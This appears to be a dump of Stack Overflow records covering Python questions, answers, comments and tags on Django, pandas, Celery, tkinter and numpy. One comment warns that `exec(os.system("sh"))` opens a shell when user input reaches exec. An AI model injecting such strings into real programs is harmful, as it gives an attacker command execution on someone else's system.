has body: I know that this question had been asked and answered already, but the solutions I saw so far are not solving the problem. I am trying to run the following command in python to authenticate users who log in a website I am currently building. from django.contrib.auth.models import User However, I am getting the following error: Traceback (most recent call last): "C:\Users\&lt;user&gt;\Documents\GitHub\MegaPortal\BackEnd\BackEnd\test.py", line 4, in &lt;module&gt; from django.contrib.auth.models import User File "C:\Users\&lt;user&gt;\AppData\Local\Programs\Python\Python36-32\lib\site-packages\django\contrib\auth\models.py", line 2, in &lt;module&gt; from django.contrib.auth.base_user import AbstractBaseUser, BaseUserManager File "C:\Users\&lt;user&gt;\AppData\Local\Programs\Python\Python36-32\lib\site-packages\django\contrib\auth\base_user.py", line 47, in &lt;module&gt; class AbstractBaseUser(models.Model): File "C:\Users\&lt;user&gt;\AppData\Local\Programs\Python\Python36-32\lib\site-packages\django\db\models\base.py", line 100, in __new__ app_config = apps.get_containing_app_config(module) File "C:\Users\&lt;user&gt;\AppData\Local\Programs\Python\Python36-32\lib\site-packages\django\apps\registry.py", line 244, in get_containing_app_config self.check_apps_ready() File "C:\Users\&lt;user&gt;\AppData\Local\Programs\Python\Python36-32\lib\site-packages\django\apps\registry.py", line 127, in check_apps_ready raise AppRegistryNotReady("Apps aren't loaded yet.") django.core.exceptions.AppRegistryNotReady: Apps aren't loaded yet. What is weird is that this command gives an error when I run on Atom, but when I run using Django's shell, it does not give any error. I have already tried putting in my settings.py file the following command import django django.setup() but still nothing. Any help is highly appreciated. EDIT: I am running the code from system python not a virtualenv. The code is not on GitHub yet. The Django version is 2.0.2. My code is: from django.contrib.aut…
has comment: http://stackoverflow.com/comment/84514947
downvote count: 0
answer count: 1
tagged with: web
has comment: http://stackoverflow.com/comment/84514186
favorite count: 0
type: UnansweredQuestion
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/84516068
score: 3
has comment: http://stackoverflow.com/comment/84518384
upvote count: 3

http://stackoverflow.com/comment/84593843
type: Comment
has text: Thank you, the offset and limit way works well, though I decided to use the pagination method via sqlalchemy's paginate function as mentioned by stamaimer. The sqlalchemy_paginator didn't work for me, as it attempts to import a class "exceptions" which seems to be part of Django, which I am not using. Still, thanks for mentioning it, that really got me to read into the built-in pagination methods.
type: AnswerComment
comment on: http://stackoverflow.com/a/48759473
score: 0

http://stackoverflow.com/a/48777418
has comment: http://stackoverflow.com/comment/84556540
upvote count: 3
answers question: http://stackoverflow.com/q/48777294
has comment: http://stackoverflow.com/comment/84556526
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/84556685
has body: Take a look at Speech Recognition This is a library that allows speech recognition including Google Cloud Speech API. Relating to the second part of your question this seems relevant: How can i detect one word with speech recognition in Python Once you can listen for a word just call your function. import speech_recognition as sr # get audio from the microphone r = sr.Recognizer() keywork = "hello" with sr.Microphone() as source: print("Speak:") audio = r.listen(source) try: if r.recognize_google(audio)) == keyword: myfunction() except sr.UnknownValueError: print("Could not understand audio") except sr.RequestError as e: print("Could not request results; {0}".format(e)) This code was adapted from this tutorial.
type: Answer

http://stackoverflow.com/a/48783003
has comment: http://stackoverflow.com/comment/84569654
has comment: http://stackoverflow.com/comment/84570217
has body: Check your column data type same as your model from future import unicode_literals from django.db import models, migrations import datetime class Migration(migrations.Migration): dependencies = [ ('polls', 'file_name'), ] operations = [ migrations.AddField( model_name='choice', name='question', field=models.ForeignKey(default=1, to='polls.Question', on_delete= models.CASCADE), preserve_default=False ), ] From your migration file it's normal that you get this error, you are trying to store a datetime on a Foreignkey which need to be an int. This is happened when the migration asked you which value will be set for old Choice rows because the new ForeignKey is required. To resolve it, you can change the migration file and change the datetime.date... to a valid id from the Question table like the code bellow. Or delete all the migration file and re-run ./manage.py makemigrations, when you will be asked about the default value prompt a valid Question id, not a datetime.
has comment: http://stackoverflow.com/comment/84568292
has comment: http://stackoverflow.com/comment/84570016
type: Answer
has comment: http://stackoverflow.com/comment/84570029
has comment: http://stackoverflow.com/comment/84567847
answers question: http://stackoverflow.com/q/48782764
has comment: http://stackoverflow.com/comment/84568314
has comment: http://stackoverflow.com/comment/84569735
has comment: http://stackoverflow.com/comment/84567558
has comment: http://stackoverflow.com/comment/84570098
score: 0

http://stackoverflow.com/comment/84303171
type: Comment
comment on: http://stackoverflow.com/q/48652561
has text: Welcome to StackOverflow. Please read and follow the posting guidelines in the help documentation. [Minimal, complete, verifiable example](http://stackoverflow.com/help/mcve) applies here. We cannot effectively help you until you post your MCVE code and accurately describe the problem. We should be able to paste your posted code into a text file and reproduce the problem you described. We need *all* of the example in your posting, not references to outside sources.
score: 0
type: QuestionComment

http://stackoverflow.com/q/48786748
answer count: 1
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84576408
tagged with: python
has comment: http://stackoverflow.com/comment/84575622
downvote count: 0
has comment: http://stackoverflow.com/comment/84575009
type: UnansweredQuestion
score: 1
linked to: http://stackoverflow.com/q/423379
has title: Python 3: Suspect_ID is not defined
type: Question
has answer: http://stackoverflow.com/a/48787980
has comment: http://stackoverflow.com/comment/84575597
has body: I'm currently working on a town of salem-esc project for a class but I've ran into an issue. I have been trying to make it so that Suspect_ID is available globally but for some reason it is instead saying ("name 'Suspect_ID' is not defined", I'm tried making it outside of the statement with the rest of my global variables to no avail as well. Any suggestions would be helpful, and if any other information is needed feel free to ask, I hope you have better luck with this program than I am currently having. def readinSuspects(): #local variables global Suspect_name Suspect_name=["","","","","","","","","",""] global Suspect_age Suspect_age=[0,0,0,0,0,0,0,0,0,0] global Suspect_motive Suspect_motive=["","","","","","","","","",""] global Suspect_ID Suspect_ID=[0,0,0,0,0,0,0,0,0,0] global IsMurderer IsMurderer=[False,False,False,False,False,False,False,False,False,False] #subprogram body file = open("suspects.txt","r") for i in range(0,9): Suspect_name[i],Suspect_age[i],Suspect_motive[i], Suspect_ID[i]=file.readline().split(',') return Suspect_name,Suspect_age,Suspect_motive,Suspect_ID,IsMurderer edit: I'm now realising the issue may lie elsewhere so following is gonna be the program in it's entirety, it's far from finished and I am aware there are many other bugs etc. import random #Global variable Guesses=[0] Murderer=[0] #Read In Function def readinSuspects(): #local variables global Suspect_name Suspect_name=["","","","","","","","","",""] global Suspect_age Suspect_age=[0,0,0,0,0,0,0,0,0,0] global Suspect_motive Suspect_motive=["","","","","","","","","",""] global Suspect_ID Suspect_ID=[0,0,0,0,0,0,0,0,0,0] global IsMurderer IsMurderer=[False,False,False,False,False,False,False,False,False,False] #subprogram body file = open("suspects.txt","r") for i in range(0,9): Suspect_name[i],Suspect_age[i],Suspect_motive[i], Suspect_ID[i]=file.readline().split(',') return Suspect_name,Suspect_age,Suspect_motive,Suspect_ID,IsMurderer #randomly assign murderer readinSuspects(Sus…
upvote count: 1

http://stackoverflow.com/q/48678771
tagged with: python
has title: Executing multiple Celery workers to consume unique queues
type: AnsweredQuestion
upvote count: 2
score: 1
tagged with: multithreading
downvote count: 1
tagged with: celery
type: Question
tagged with: message-queue
answer count: 1
has answer: http://stackoverflow.com/a/48684835
has body: I have a use case where I need to start a celery workers such that they consume unique queues, which I have tried to implement like following. from celery import Celery app = Celery(broker='redis://localhost:9555/0') @app.task def afunction(arg1=None, arg2=None, arg3=None): if arg1 == 'awesome_1': return "First type of Queue executed" if arg2 == "awesome_2": return "Second Type of Queue executed" if arg3 == "awesome_3": return "Third Type of Queue executed" if __name__=='__main__': qlist = ["awesome_1", "awesome_2", "awesome_3"] arglist = [None, None, None] for q in qlist: arglist[qlist.index(q)] = q argv = [ 'worker', '--detach', '--queue={0}'.format(q), '--concurrency=1', '-E', '--loglevel=INFO' ] app.worker_main(argv) afunction.apply_async(args=[arglist[0], arglist[1], arglist[2]], queue=q) This code upon execution gives the following output: [2018-02-08 11:28:43,479: INFO/MainProcess] Connected to redis://localhost:9555/0 [2018-02-08 11:28:43,486: INFO/MainProcess] mingle: searching for neighbors [2018-02-08 11:28:44,503: INFO/MainProcess] mingle: all alone [2018-02-08 11:28:44,527: INFO/MainProcess] celery@SYSTEM ready. [2018-02-08 11:28:44,612: INFO/MainProcess] Received task: __main__.afunction[f092f721-6523-4055-98fc-158ac316f4cc] [2018-02-08 11:28:44,618: INFO/ForkPoolWorker-1] Task __main__.afunction[f092f721-6523-4055-98fc-158ac316f4cc] succeeded in 0.0010992150055244565s: 'First type of Queue executed' Hence I can see the worker executing as it should for first iteration of the for loop, but then it stops right there and doesn't continue with the for loop. I believe this is happening because worker is not running detached, or as subprocess of the script because I can see 1 + as many processes with python running the same script on ps aux as the --concurrency is being set. Any pointers on what is going wrong or how to make the worker queue run detached so after return that for loop continues iterating.
favorite count: 0
accepted answer: http://stackoverflow.com/a/48684835

http://stackoverflow.com/a/67497152
type: Answer
answers question: http://stackoverflow.com/q/48720833
has body: Slightly different issue for me but I will still post an answer here. tensorflow package is working, but not tflite-runtime. pip install --extra-index-url https://google-coral.github.io/py-repo/ tflite-runtime==2.5.0
score: 0

http://stackoverflow.com/comment/84597285
comment on: http://stackoverflow.com/q/48797352
type: Comment
type: QuestionComment
has text: Yeah that is a bit confusing. It's probably just a typo. The code probably _was_ suppose to read: `for row in board_in`.
score: 1

http://stackoverflow.com/comment/84370132
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48686297
score: 0
has text: Why are you posting an empty `_token` value? Your browser posted `GnjGT2Ejrrpo4Nlf2EbwtmLtY29GNFnoTJpl5z5o`. Note that this token is *likely to be time limited*, tied to the browser session (cookies) and non-resueable.

http://stackoverflow.com/q/48721762
has comment: http://stackoverflow.com/comment/84442529
has answer: http://stackoverflow.com/a/48721923
score: 0
has title: Discord bot gathering info with JSON/Python Displays Same Data
answer count: 1
accepted answer: http://stackoverflow.com/a/48721923
tagged with: python
has comment: http://stackoverflow.com/comment/84442441
tagged with: discord
has comment: http://stackoverflow.com/comment/84442739
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84442425
tagged with: http://stackoverflow.com/tag/json
has body: I want to make a Discord bot. Everything works fine until I want to gather some information from a website using JSON and Python. The data gets collected, but everytime I type my command in Discord in order to get my information, it displays the same data it used, like it's only getting it ONE TIME - when I connect the bot to my server. Which is exactly what it does. How can I make it so it gathers the data again every time someone types the command? Example: I have the command !status, and whenever I type it, my bot takes the status of a Game Server from a website using JSON. Let's say the server is online so it displays "Status: Online" but if the server closes and I type !status again, it still says the status is Online. I have to re-connect the bot to the Discord server so it picks the status up. I get it that my python script only works one time. Here's a snippet: r = requests.get('http://etcthewebsite') json_data = json.loads(r.text) status_server = json_data['status'] def on_message(message): if message.content == "!status": yield from client.send_message(message.chanel, "Status is: " + status_server) Hope you guys understand what I mean. I repeat: the code works fine and whatnot, but it doesn't pick the information every time I type the command; only once - when THE BOT enters the server.
has comment: http://stackoverflow.com/comment/84442478
type: Question
has comment: http://stackoverflow.com/comment/84442623
tagged with: discord.py

http://stackoverflow.com/comment/84596194
type: Comment
has text: Gotcha. jp_data_analysis's answer should work [and be fast] then.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48796799

http://stackoverflow.com/comment/84428535
score: 0
has text: Did you try pandas?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48714626

http://stackoverflow.com/comment/84456842
comment on: http://stackoverflow.com/a/48728919
score: 0
type: Comment
has text: It also outputs the result of the function. I don't want the result, it should output only the time.
type: AnswerComment

http://stackoverflow.com/a/48653166
has comment: http://stackoverflow.com/comment/84335072
downvote count: 0
has body: You need to call db on your mongo object, not on the app object
type: Answer
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/48653120

http://stackoverflow.com/comment/84690687
comment on: http://stackoverflow.com/a/48719668
type: AnswerComment
has text: This should work for anybody, thanks :) My question was just out of curiosity: I always wonder what is the fastest way to do this sort of thing (on sequences of numbers, strings, or whatever).
score: 0
type: Comment

http://stackoverflow.com/q/48719253
type: Question
has body: Sample data: | Plan | Run | Status | Tested On | |------|----------|----------------|------------| | P0 | Agent | Passed | 2018-08-11 | | | Customer | Failed | 2018-08-01 | | P1 | A | Passed | 2018-08-02 | | | B | Untested | 2018-08-11 | | P2 | C | Not Applicable | 2018-08-05 | My script: msft = pd.read_excel( "C:\\Users\\gomat\\Desktop\\Py TR\\week_06(1).xlsx") msft = pd.pivot_table( msft, index = ['Plan'], values = ['Passed', 'Failed', 'Blocked', 'Not_Implemented', 'Clarification Opened', 'In Progress', 'Not Applicable' ], columns =['Plan'],aggfunc = 'count') msft.to_excel("C:\\Users\\gomat\\Desktop\\Py TR\\week_06.xlsx") Actual result: C:\Program Files (x86)\Python36-32\lib\site-packages\pandas\core\reshape\pivot.py in pivot_table(data, values, index, columns, aggfunc, fill_value, margins, dropna, margins_name) 56 for i in values: 57 if i not in data: ---&gt; 58 raise KeyError(i) 59 60 to_filter = [] KeyError: 'Passed' ` Expected result: I need the count of value in the status
tagged with: excel-automation
tagged with: pandas
has comment: http://stackoverflow.com/comment/84437656
answer count: 1
favorite count: 0
has title: How to get the count the value in status using pandas.pivot_table?
has answer: http://stackoverflow.com/a/48719275
accepted answer: http://stackoverflow.com/a/48719275
tagged with: python
score: 2
type: AnsweredQuestion
upvote count: 3
downvote count: 1

http://stackoverflow.com/comment/84338365
comment on: http://stackoverflow.com/a/48670014
score: 0
type: AnswerComment
type: Comment
has text: @user2357112 True, I edited my answer to implement the protocol properly.

http://stackoverflow.com/a/48677402
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48654514
type: Answer
answers question: http://stackoverflow.com/q/48654514
has body: Using pandas' pd.cut + groupby- df loan_rate wkly_rate ret_fwd 0 0.0050 0.000096 0.003784 1 0.0075 0.000144 0.006989 2 0.0100 0.000192 0.007745 3 0.0125 0.000240 0.013878 4 0.0150 0.000288 0.002195 5 0.0175 0.000337 -0.007370 6 0.0200 0.000385 -0.019037 bins=[0.5, 1, 5, 10, 15] labels=['0.5%-1%', '1%-5%', '5%-10%', '10%-15%'] v = pd.cut( df.loan_rate * 100, bins=bins, right=False, labels=labels ) df.drop('loan_rate', 1)\ .groupby(v)\ .mean()\ .reset_index() loan_rate wkly_rate ret_fwd 0 0.5%-1% 0.000120 0.005387 1 1%-5% 0.000288 -0.000518 2 5%-10% NaN NaN 3 10%-15% NaN NaN
score: 0

http://stackoverflow.com/comment/84535990
has text: jez, you can checkout my output in the question. I have edited it accordingly
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48680999
type: AnswerComment

http://stackoverflow.com/comment/84511174
score: 0
comment on: http://stackoverflow.com/q/48752594
type: QuestionComment
type: Comment
has text: Sorry to spam comments -- here's [an image of the Unity request](http://jamesckane.com/img/requestbin.PNG) from requestbin. See anything amiss?

http://stackoverflow.com/comment/84386168
comment on: http://stackoverflow.com/a/48691798
score: 0
type: AnswerComment
type: Comment
has text: @Rubyink Yes I've found the problem. `readlines()` *does* read the file. So using `read()` is totally unnecessary. Both mistakes were from my end *sorry*.

http://stackoverflow.com/a/48751808
has body: If you are not owning an email domain or cannot claim email domain in the DocuSign then you need to use User Consent else you can use Admin Consent. Please find the link Service Integration using JWT to understand the flow of creating JWT. For User Consent, you need to start with either the Authorization Code Grant or the Implicit Grant. For Admin Consent, you need to claim email domain in DocuSign then you can create Access token for any user in your DS Account with same claimed email domain. To use User Consent using JWT, please check video at User Consent using Python
answers question: http://stackoverflow.com/q/48724101
score: 0
type: Answer

http://stackoverflow.com/q/48651692
answer count: 1
tagged with: tkinter-canvas
downvote count: 0
has answer: http://stackoverflow.com/a/48652752
has comment: http://stackoverflow.com/comment/84322194
favorite count: 0
tagged with: tkinter
upvote count: 2
tagged with: python
tagged with: animated-gif
has comment: http://stackoverflow.com/comment/84302320
type: AnsweredQuestion
score: 2
accepted answer: http://stackoverflow.com/a/48652752
type: Question
has body: I have a issue in tkinter for python 3. I would like to create an animating game character in python, tkinter without using PIL. I found a way to animate the character using a gif, but I do not know how to move the gif I tried to use canvas.move here is my code: from tkinter import * import os import time root = Tk() c = Canvas(root,width = 500,height = 500) c.pack() frames = [PhotoImage(file=(os.path.expanduser("~/Desktop/DaQueenIDLE.gif")),format = 'gif -index %i' % (i)) for i in range(2)] def update(ind): frame = frames[ind] ind += 1 if ind &gt;= 2: ind = 0 label.configure(image=frame) root.after(100, update, ind) label = Label(root) label.pack() root.after(0, update, 0) c.move(frames,0,-100) root.update() root.mainloop()
tagged with: http://stackoverflow.com/tag/gif
has title: Tkinter: Moving a Gif on a canvas without PIL

http://stackoverflow.com/comment/84431104
score: 1
comment on: http://stackoverflow.com/a/48715911
has text: For example: `exec(os.system("sh"))` will open a shell. So be careful if you are taking any input for users and/or editable file(files that can be edited by a user without admin/sudo permissions).
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48652085
answer count: 1
has title: Get text of table data even if child exists - LXML
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48652369
type: Question
tagged with: lxml
tagged with: http://stackoverflow.com/tag/html
tagged with: python
has body: Trying to pull text from the row in a table within HTML where each table data tag may or may not have a nested tag. Been playing with lxml library in python to achieve the data extraction but I can't quite figure out how to best handle this issue: from lxml import etree, html s = """ Event Start Date End Date a b c d e f g h i """ table = etree.HTML(s).findall("body/table/tr/td") rows = iter(table) headers = ['row 1', 'row 2', 'row 3'] for row in rows: values = [col.text for col in row] print dict(zip(headers, values)) That's the code I have so far, lifted from another example.
upvote count: 1
accepted answer: http://stackoverflow.com/a/48652369

http://stackoverflow.com/q/48648773
has comment: http://stackoverflow.com/comment/84295863
possible better answer: http://stackoverflow.com/a/48649791
answer count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/84295778
has answer: http://stackoverflow.com/a/48648917
accepted answer: http://stackoverflow.com/a/48648917
has comment: http://stackoverflow.com/comment/84295703
has comment: http://stackoverflow.com/comment/84295189
favorite count: 0
tagged with: python-3.x
upvote count: 5
has comment: http://stackoverflow.com/comment/84295382
has comment: http://stackoverflow.com/comment/84295258
tagged with: python
has title: Pandas: Sorting rows based on a value of a column
has body: I have a dataframe df like this : ID NAME AGE ----------------- M43 ab 32 M32 df 12 M54 gh 34 M43 ab 98 M43 ab 36 M43 cd 32 M32 cd 39 M43 ab 67 I need to sort the rows based on the ID column. The output df_grouped should look like : ID NAME AGE ----------------- M43 ab 32 M43 ab 98 M43 ab 36 M43 cd 32 M43 ab 67 M32 df 12 M32 cd 39 M54 gh 34 I tried something like : df_grouped = df.group_by(df.ID) for id in list(df.ID.unique()): grouped_df_list.append(df_grouped.get_group(id)) Is there any better way to do this ?
has comment: http://stackoverflow.com/comment/84295662
has comment: http://stackoverflow.com/comment/84295121
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/84295307
type: Question
has answer: http://stackoverflow.com/a/48649791
has comment: http://stackoverflow.com/comment/84297265
score: 5

http://stackoverflow.com/a/48667154
has comment: http://stackoverflow.com/comment/84332105
has comment: http://stackoverflow.com/comment/84332063
has comment: http://stackoverflow.com/comment/84332269
score: 5
answers question: http://stackoverflow.com/q/48667094
upvote count: 5
has body: Don't use a loop to check for duplicates. Instead, sum the numbers after putting them into a set. &gt;&gt;&gt; lst = [1, 3, 2, 2, 4] &gt;&gt;&gt; sum(x for x in set(lst) if x % 2 == 0) 6 If you only want to filter out consecutive equal numbers, you could "collapse" those ranges with itertools.groupby: &gt;&gt;&gt; lst = [1, 3, 2, 2, 4, 2] &gt;&gt;&gt; sum(k for k, g in itertools.groupby(lst) if k % 2 == 0) 8 # last 2 after 4 is counted and if a list all numbers are the same it should sum only 2 numbers I still believe this to be a misunderstanding of the task or a mistake in the given example, but if this is really the desired behaviour, you can, again, convert the list to a set and see if the set has only one element, and in this case take the sum times two. &gt;&gt;&gt; lst = [2, 2, 2, 2] &gt;&gt;&gt; sum(x for x in set(lst) if x % 2 == 0) * (2 if len(set(lst)) == 1 else 1) 4 &gt;&gt;&gt; lst = [1, 3, 2, 2, 4] &gt;&gt;&gt; sum(x for x in set(lst) if x % 2 == 0) * (2 if len(set(lst)) == 1 else 1) 6 The first part of this expression is the same as above, and the second part is a ternary that returns the factor 1 or 2 depending on the size of the set.
type: Answer
has comment: http://stackoverflow.com/comment/84332139
has comment: http://stackoverflow.com/comment/84332523
has comment: http://stackoverflow.com/comment/84332079
downvote count: 0
has comment: http://stackoverflow.com/comment/84332467
has comment: http://stackoverflow.com/comment/84332205
has comment: http://stackoverflow.com/comment/84332196

http://stackoverflow.com/comment/84593554
comment on: http://stackoverflow.com/q/48795574
type: Comment
type: QuestionComment
has text: Where are your 'coordinates' defined? Don't confuse array indexing with 'coordinates'. The row/column indices range from 0 to 127; that's a fixed function of the array shape.
score: 2

http://stackoverflow.com/comment/84647893
type: Comment
comment on: http://stackoverflow.com/q/48803138
score: 0
type: QuestionComment
has text: actually after thinking for a while, I believe I got the idea wrong, the locality should be focused on the behavior difference between stack and queue, so even when using linked-list, bfs is still better...maybe I will answer my own question when I have time

http://stackoverflow.com/q/48654396
linked to: http://stackoverflow.com/q/24377492
has answer: http://stackoverflow.com/a/48654554
downvote count: 1
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/24377492
linked to: http://stackoverflow.com/q/63214893
type: Question
has body: @app.route('/ATGDataSubmission', methods=['POST']) def ATGDataSubmissions(): print request.data //prints none receivedData = request.form print receivedData // prints ImmutableMultiDict([('ErrorMessage', u'Not able to connect'), ('SiteId', u'12345'), ('CommandResult', u'201'), ('IsSuccessfull', u'true')])// I want to get dictionary data. What is the request method I have to use?
answer count: 1
accepted answer: http://stackoverflow.com/a/48654554
tagged with: flask
has title: How to retrieve dictionary data from request in python?
duplicate of: http://stackoverflow.com/q/13522137
tagged with: python
score: 1
favorite count: 0
upvote count: 2

http://stackoverflow.com/comment/84381148
comment on: http://stackoverflow.com/q/48691027
type: QuestionComment
type: Comment
score: 0
has text: Hi I have this added above

http://stackoverflow.com/a/48715347
type: Answer
has comment: http://stackoverflow.com/comment/84429890
has comment: http://stackoverflow.com/comment/84429825
answers question: http://stackoverflow.com/q/48715200
has body: Your 'price_to_float' function doesn't seem to be working the way you describe. I'd recommend you that at first: while word.lower() != "exit": try: d = float(word) print(d) tax = 0.06 print("Amount:",round(d,2)) print("Tax:", (tax * d)) print("Price w/ Tax:",round(d+d*tax,2)) word = input("Enter Amount ($X,XXX.XX):\n") except (EOFError): break Then look for how to work with regular expressions with python 3: https://docs.python.org/2/library/re.html
score: 0

http://stackoverflow.com/q/48750682
tagged with: python-3.x
has body: I have a multiindex pandas dataframe like this: lst = [(1, 2), (3, 4), (5, 6), (7, 8), (9, 10), (11, 12), (13, 14), (21, 22)] df = pd.DataFrame(lst, pd.MultiIndex.from_product([['A', 'B'], ['1','2', '3', '4']])).loc[:('B', '2')] df["tuple"] = list(zip(df[0], df[1])) #df: 0 1 tuple A 1 1 2 (1, 2) 2 3 4 (3, 4) 3 5 6 (5, 6) 4 7 8 (7, 8) B 1 9 10 (9, 10) 2 11 12 (11, 12) I want to transform the column, containing the tuples, into a list of tuples. My approach is: #dataframe to append list of tuples new_df = pd.DataFrame([1, 2], index = list("AB") ) #voila a list of tuples new_df["list_of_tuples"] = df["tuple"].unstack(level = -1).values.tolist() #new_df: 0 list_of_tuples A 1 [(1, 2), (3, 4), (5, 6), (7, 8)] B 2 [(9, 10), (11, 12), None, None] This works, but only for multiindex dataframes with equal length for each entry. If all entries don't have the same length, the missing columns give rise to a None value in the list. My attempts to remove numpy NaN values, before creating a list, failed. Is there an approach to prevent the appearance of None in the final list of tuples?
tagged with: python
type: AnsweredQuestion
tagged with: multi-index
has title: Pandas - flattening a multiindex column containing tuples, but ignore missing values
has answer: http://stackoverflow.com/a/48750871
type: Question
score: 0
tagged with: pandas
answer count: 1
accepted answer: http://stackoverflow.com/a/48750871

sorting
tags question: http://stackoverflow.com/q/48712803
tags question: http://stackoverflow.com/q/48735167
tags question: http://stackoverflow.com/q/48759175
tags question: http://stackoverflow.com/q/48728027
tags question: http://stackoverflow.com/q/48766803
tags question: http://stackoverflow.com/q/48728333
tags question: http://stackoverflow.com/q/48777130
tags question: http://stackoverflow.com/q/48726710
tags question: http://stackoverflow.com/q/48727337
tags question: http://stackoverflow.com/q/48669273
tags question: http://stackoverflow.com/q/48690433
tags question: http://stackoverflow.com/q/48721643
tags question: http://stackoverflow.com/q/48716411
tags question: http://stackoverflow.com/q/48652438
tags question: http://stackoverflow.com/q/48776902
tags question: http://stackoverflow.com/q/48703081
tags question: http://stackoverflow.com/q/48647589
tags question: http://stackoverflow.com/q/48710617
tags question: http://stackoverflow.com/q/48784908
tags question: http://stackoverflow.com/q/48729949
type: Tag
tags question: http://stackoverflow.com/q/48719963
tags question: http://stackoverflow.com/q/48739118
tags question: http://stackoverflow.com/q/48664707
tags question: http://stackoverflow.com/q/48686702
tags question: http://stackoverflow.com/q/48664962
tag name: sorting
tags question: http://stackoverflow.com/q/48710543
tags question: http://stackoverflow.com/q/48662397
tags question: http://stackoverflow.com/q/48790798
tags question: http://stackoverflow.com/q/48673887
tags question: http://stackoverflow.com/q/48710930
tags question: http://stackoverflow.com/q/48726326
tags question: http://stackoverflow.com/q/48661803
tags question: http://stackoverflow.com/q/48791109
tags question: http://stackoverflow.com/q/48796756
tags question: http://stackoverflow.com/q/48753409
tags question: http://stackoverflow.com/q/48674161

http://stackoverflow.com/a/48780500
type: Answer
accepted answer of: http://stackoverflow.com/q/48780378
has body: argv[2] is a string with comma separated values, but to numpy it's a string not a list of floats. You first need to convert it like so: float_vals = [float(x) for x in argv[2].split(",")].
downvote count: 0
score: 2
type: AcceptedAnswer
upvote count: 2
answers question: http://stackoverflow.com/q/48780378

unit-testing
tags question: http://stackoverflow.com/q/48788314
tags question: http://stackoverflow.com/q/48648988
tags question: http://stackoverflow.com/q/48785837
tags question: http://stackoverflow.com/q/48652533
tags question: http://stackoverflow.com/q/48720266
tags question: http://stackoverflow.com/q/48751823
tags question: http://stackoverflow.com/q/48693132
tags question: http://stackoverflow.com/q/48700849
tags question: http://stackoverflow.com/q/48759235
tags question: http://stackoverflow.com/q/48763290
tags question: http://stackoverflow.com/q/48647766
tags question: http://stackoverflow.com/q/48715206
tags question: http://stackoverflow.com/q/48679651
type: Tag
tags question: http://stackoverflow.com/q/48723711
tag name: unit-testing
tags question: http://stackoverflow.com/q/48663117
tags question: http://stackoverflow.com/q/48665640
tags question: http://stackoverflow.com/q/48672133
tags question: http://stackoverflow.com/q/48758811
tags question: http://stackoverflow.com/q/48682997
tags question: http://stackoverflow.com/q/48769071

http://stackoverflow.com/comment/84353611
score: 0
type: AnswerComment
has text: I mentioned that I know I can do this in a for loop, I'm searching for a vectorized version
type: Comment
comment on: http://stackoverflow.com/a/48677681

http://stackoverflow.com/q/48696344
has comment: http://stackoverflow.com/comment/84392182
has comment: http://stackoverflow.com/comment/84391454
accepted answer: http://stackoverflow.com/a/48696529
downvote count: 6
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48696601
upvote count: 9
has title: Numpy where and division by zero
has answer: http://stackoverflow.com/a/48696601
has answer: http://stackoverflow.com/a/48696660
has body: I need to compute x in the following way (legacy code): x = numpy.where(b == 0, a, 1/b) I suppose it worked in python-2.x (as it was in a python-2.7 code), but it does not work in python-3.x (if b = 0 it returns an error). How do I make it work in python-3.x? EDIT: error message (Python 3.6.3): ZeroDivisionError: division by zero
has comment: http://stackoverflow.com/comment/84391710
has answer: http://stackoverflow.com/a/48696604
has comment: http://stackoverflow.com/comment/84391459
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/56700194
has comment: http://stackoverflow.com/comment/84391381
linked to: http://stackoverflow.com/q/31688667
favorite count: 0
has answer: http://stackoverflow.com/a/48696529
has comment: http://stackoverflow.com/comment/84391419
has comment: http://stackoverflow.com/comment/84392608
answer count: 5
score: 3
has comment: http://stackoverflow.com/comment/84391533
tagged with: python
has comment: http://stackoverflow.com/comment/84391698
has comment: http://stackoverflow.com/comment/84391429
linked to: http://stackoverflow.com/q/64747346
has comment: http://stackoverflow.com/comment/84391444

libvirt
tag name: libvirt
tags question: http://stackoverflow.com/q/48782795
type: Tag

http://stackoverflow.com/comment/84444547
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/48713694
has text: I edited the post to show what happened when I tried all of the solutions given for that question. It still gives the same error.
type: Comment

http://stackoverflow.com/comment/124982274
has text: @PD df.groupby('date')['id'].transform(lambda x : x.duplicated(keep=False).sum())
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48713474
type: Comment

http://stackoverflow.com/q/48654211
type: UnansweredQuestion
has title: Python (DFS): Please explain this clearly to me: stack.extend(graph[vertex] - visited)
tagged with: algorithm
has body: I am new to Python and decided to practice algorithms to gain a strong foundation. I am having difficulty understanding this particular line in the code that implements DFS: stack.extend(graph[vertex] - visited). Does it mean that graph[vertex] contains all the vertices present in the graph and this line removes the most recently visited vertex, and returns the remaining unvisited list of vertices in the graph? Please find source of code here under connected component. Thanks!!
has comment: http://stackoverflow.com/comment/84306950
type: Question
tagged with: graph
has comment: http://stackoverflow.com/comment/84307216
answer count: 1
score: 0
has comment: http://stackoverflow.com/comment/84337446
has answer: http://stackoverflow.com/a/59207159
tagged with: python

http://stackoverflow.com/q/48728668
has answer: http://stackoverflow.com/a/48735026
accepted answer: http://stackoverflow.com/a/48735026
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/84456477
score: -1
tagged with: pyparsing
type: Question
answer count: 2
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84456249
upvote count: 0
possible better answer: http://stackoverflow.com/a/48738195
has title: how to pass portions of text to tuple/list in python based on word
